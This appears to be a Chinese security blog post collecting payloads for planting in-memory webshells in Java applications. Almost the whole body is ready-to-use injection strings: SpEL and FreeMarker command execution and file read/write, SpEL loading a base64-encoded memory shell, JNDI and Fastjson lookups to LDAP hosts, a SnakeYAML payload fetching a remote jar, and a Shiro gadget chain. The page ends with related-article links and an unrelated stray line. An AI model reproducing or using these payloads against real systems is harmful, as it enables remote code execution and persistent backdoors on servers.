<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    收集內存馬打入方式

    VSole2023-05-29 09:42:33

    SPEL

    一款用不加模板解析的payload

    T(java.lang.Runtime).getRuntime().exec("calc")new+java.lang.ProcessBuilder("cmd","/c","Calc").start()
    

    加模板解析的payload

    #{new java.lang.ProcessBuilder({'calc'}).start()}
    

    可以回顯時使用

    new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
    

    可以打入內存馬高版本Spring Core 受限

    #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
    

    使用JNDI 注入利用 在Springboot 中不適用,因為它會程序啟動時初始化InitialContext

    #{T(java.lang.System).setProperty('com.sun.jndi.ldap.object.trustURLCodebase', 'true')} #{new javax.management.remote.rmi.RMIConnector(new javax.management.remote.JMXServiceURL("service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc"), new java.util.Hashtable()).connect()}
    

    FreeMarker

    執行命令

    ${"freemarker.template.utility.Execute"?new()("id")}
    ${"freemarker.template.utility.Execute"?new()("Calc")}
    <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
    

    寫文件

    ${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}
    

    讀文件

    <#assign+value="freemarker.template.utility.ObjectConstructor"?new()("java.io.FileReader","C:\\Temp\\test.txt")>${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner",value).useDelimiter("\\Aasd").next()}
    

    使用SPEL利用

    ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}
    

    使用SPEL 進行JNDI

    ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc\"),new+java.util.Hashtable()).connect()").getValue()}
    

    使用SPEL 加載內存馬

    ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}
    

    使用Jython

    <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
    

    YAML

    ftp 可以換為HTTP 及其他支持協議

    !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://127.0.0.1:8000/yaml-payload4.jar"]]]]
    

    Fastjson

    {    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://xx.xx.xx.xx:9102/123",        "autoCommit":true    }}
    

    Shiro Cookie 過長?不防看看這種方法

    熟悉得師傅一下就可以看出內存馬怎們打了吧

     final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        Reflections.setFieldValue(comparator, "property", "parameterMetaData");
        JdbcRowSetImpl test =  new com.sun.rowset.JdbcRowSetImpl();
        test.setDataSourceName("ldap://823s64b3.dns.1433.eu.org.");
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = test;
        return queue;
    
    calc
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    根據以色列商業媒體網站 Calcalist 的調查,以色列警方在未經授權的情況下,使用 NSO 集團備受爭議的 Pegasus 間諜軟件對包括政治家和活動人士在內的以色列公民進行電話偵聽。監控以色列公民需要法院監督,這些監控是在缺少法院監督的情況下進行的,對于數據如何使用也缺乏監督,以色列警方和一位政府部長明確否認這一說法。
    安全運維:cmd命令大全(108個)
    收集內存馬打入方式
    2023-05-29 09:42:33
    收集內存馬打入方式
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    安全專家ProxyLife 和 Cyble 研究人員最近發現了一個Qakbot活動,該活動利用 Windows 7 Calculator 應用程序進行 DLL 側載攻擊。動態鏈接庫 (DLL) 旁加載是一種利用 Microsoft Windows 應用程序處理 DLL 文件的方式的攻擊方法。在此類攻擊中,惡意軟件會在 Windows 的 WinSxS 目錄中放置一個偽造的惡意 DLL 文件,以便操
    VT EPT原理解析和進階VT開啟EPT后,繞過pg檢測,無視目前任何內核檢測工具的檢測如PCHander檢測不到HOOK。本次案例實現欺騙系統達到無痕HOOK SSDT中的NtOpenprocess保護calc程序的內存,讓OD,CE工具無法附加搜索。
    java -jar weblogic.jar -jndistart -Jport 8888 -jndirmi -codeurl http://127.0.0.1/
    美國拉斯維加斯-黑帽大會消息,跟上安全漏洞修補的步伐是具有挑戰性的,由于缺乏上下文的CVSS分數、混亂的供應商建議和不完整的修復,確定優先關注哪些漏洞變得比以往任何時候都更加困難。
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    2014年為以色列警方設計的Pegasus間諜軟件原型細節和截圖顯示了該系統的工具和深遠的能力,該系統計劃在日常警務工作中部署。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类